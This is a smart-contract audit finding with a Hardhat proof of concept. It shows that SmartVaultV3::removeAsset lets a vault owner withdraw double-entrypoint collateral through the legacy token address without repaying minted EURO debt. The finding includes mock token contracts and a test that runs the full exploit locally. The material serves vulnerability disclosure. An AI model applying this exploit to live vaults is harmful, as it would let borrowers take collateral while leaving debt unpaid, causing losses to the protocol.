The vault owner is therefore able to withdraw the full collateral balance by calling SmartVaultV3::removeAsset, passing the legacy address as _tokenAddr argument. This behavior is flawed as the vault owner should repay the EURO debt before withdrawing their underlying collateral.
Double-entrypoint tokens are problematic because the legacy token delegates its logic to the new token, meaning that two separate addresses are used to interact with the same token. Previous examples include TUSD which resulted in vulnerability when integrated into Compound. This highlights the importance of carefully selecting the collateral token, especially as this type of vulnerability is not easily detectable. In addition, it is not unrealistic to expect that an upgradeable collateral token could become a double-entrypoint token in the future, e.g. USDT & ARB, which are both transparent upgradeable proxies, so this must also be considered.
Given the vault owner is able to withdraw their entire collateral balance, and this vulnerability is of medium likelihood, it should be considered a high severity finding.
new file mode 100644
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+interface DelegateERC20 {
+ function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
+ function delegateBalanceOf(address account) external view returns (uint256);
+}
+
+contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
+ DelegateERC20 public delegate;
+
+ constructor() {
+ _mint(msg.sender, 100 ether);
+ }
+
+ function mint(address to, uint256 amount) public onlyOwner {
+ _mint(to, amount);
+ }
+
+ function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
+ delegate = newContract;
+ }
+
+ function transfer(address to, uint256 value) public override returns (bool) {
+ if (address(delegate) == address(0)) {
+ return super.transfer(to, value);
+ } else {
+ return delegate.delegateTransfer(to, value, msg.sender);
+ }
+ }
+
+ function balanceOf(address account) public view override returns (uint256) {
+ if (address(delegate) == address(0)) {
+ return super.balanceOf(account);
+ } else {
+ return delegate.delegateBalanceOf(account);
+ }
+ }
+}
+
+contract DoubleEntryERC20 is ERC20("DoubleEntrypointToken", "DET"), DelegateERC20, Ownable {
+ address public delegatedFrom;
+
+ constructor(address legacyToken) {
+ delegatedFrom = legacyToken;
+ _mint(msg.sender, 100 ether);
+ }
+
+ modifier onlyDelegateFrom() {
+ require(msg.sender == delegatedFrom, "Not legacy contract");
+ _;
+ }
+
+ function mint(address to, uint256 amount) public onlyOwner {
+ _mint(to, amount);
+ }
+
+ function delegateTransfer(address to, uint256 value, address origSender)
+ public
+ override
+ onlyDelegateFrom
+ returns (bool)
+ {
+ _transfer(origSender, to, value);
+ return true;
+ }
+
+ function delegateBalanceOf(address account) public view override onlyDelegateFrom returns (uint256) {
+ return balanceOf(account);
+ }
+}
\ No newline at end of file
@@ -4,7 +4,7 @@ const { expect } = require('chai');
const { DEFAULT_ETH_USD_PRICE, DEFAULT_EUR_USD_PRICE, DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, getCollateralOf, ETH, getNFTMetadataContract, fullyUpgradedSmartVaultManager } = require('./common');
const { HUNDRED_PC } = require('./common');
-let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol;
+let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol, legacyToken, doubleEntryERC20;
describe('SmartVault', async () => {
beforeEach(async () => {
@@ -32,6 +32,57 @@ describe('SmartVault', async () => {
const { status } = (await VaultManager.connect(user).vaults())[0];
const { vaultAddress } = status;
Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
+
+ legacyToken = await (await ethers.getContractFactory('LegacyToken')).deploy();
+ doubleEntryERC20 = await (await ethers.getContractFactory('DoubleEntryERC20')).deploy(legacyToken.address);
+ });
+
+ describe('poc', async () => {
+ it('double entrypoint collateral can be removed', async () => {
+ // legacy token delegates behaviour to double entrypoint
+ await legacyToken.delegateToNewContract(doubleEntryERC20.address);
+
+ const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('USD / USD');
+ const clUsdUsdPrice = 100000000;
+ await ClUsdUsd.setPrice(clUsdUsdPrice);
+ await TokenManager.addAcceptedToken(doubleEntryERC20.address, ClUsdUsd.address);
+ // mint user 100 DoubleEntryERC20
+ const value = ethers.utils.parseEther('100');
+ await doubleEntryERC20.mint(user.address, value);
+
+ // deposit collateral into vault
+ await doubleEntryERC20.connect(user).transfer(Vault.address, value);
+
+ const { collateral, maxMintable, totalCollateralValue } = await Vault.status();
+ const collateralETH = getCollateralOf('DET', collateral)
+ expect(collateralETH.amount).to.equal(value);
+ const euroCollateral = value.mul(clUsdUsdPrice).div(DEFAULT_EUR_USD_PRICE);
+ expect(collateralETH.collateralValue).to.equal(euroCollateral);
+ expect(totalCollateralValue).to.equal(euroCollateral);
+ const maximumMint = euroCollateral.mul(HUNDRED_PC).div(DEFAULT_COLLATERAL_RATE);
+ expect(maxMintable).to.equal(maximumMint);
+
+ // mint max euros
+ const mintValue = ethers.utils.parseEther("75");
+ const fee = mintValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
+ expect(maxMintable.gt(mintValue));
+ mint = Vault.connect(user).mint(user.address, mintValue.sub(fee));
+ await expect(mint).not.to.be.reverted;
+ const { minted } = await Vault.status();
+ console.log("\n---- before ----")
+ console.log("minted", minted.toString());
+ console.log("vault balance of DoubleEntryERC20", (await doubleEntryERC20.balanceOf(Vault.address)).toString());
+ console.log("vault balance of LegacyToken", (await legacyToken.balanceOf(Vault.address)).toString());
+
+ // remove collateral without repaying debt
+ await Vault.connect(user).removeAsset(legacyToken.address, value, user.address);
+
+ console.log("\n---- after ----")
+ console.log("vault balance of DoubleEntryERC20", (await doubleEntryERC20.balanceOf(Vault.address)).toString());
+ console.log("vault balance of LegacyToken", (await legacyToken.balanceOf(Vault.address)).toString());
+ console.log("user balance of EURO", (await EUROs.balanceOf(user.address)).toString());
+ console.log("user balance of DoubleEntryERC20", (await doubleEntryERC20.balanceOf(user.address)).toString());
+ });
});
describe('ownership', async () => {
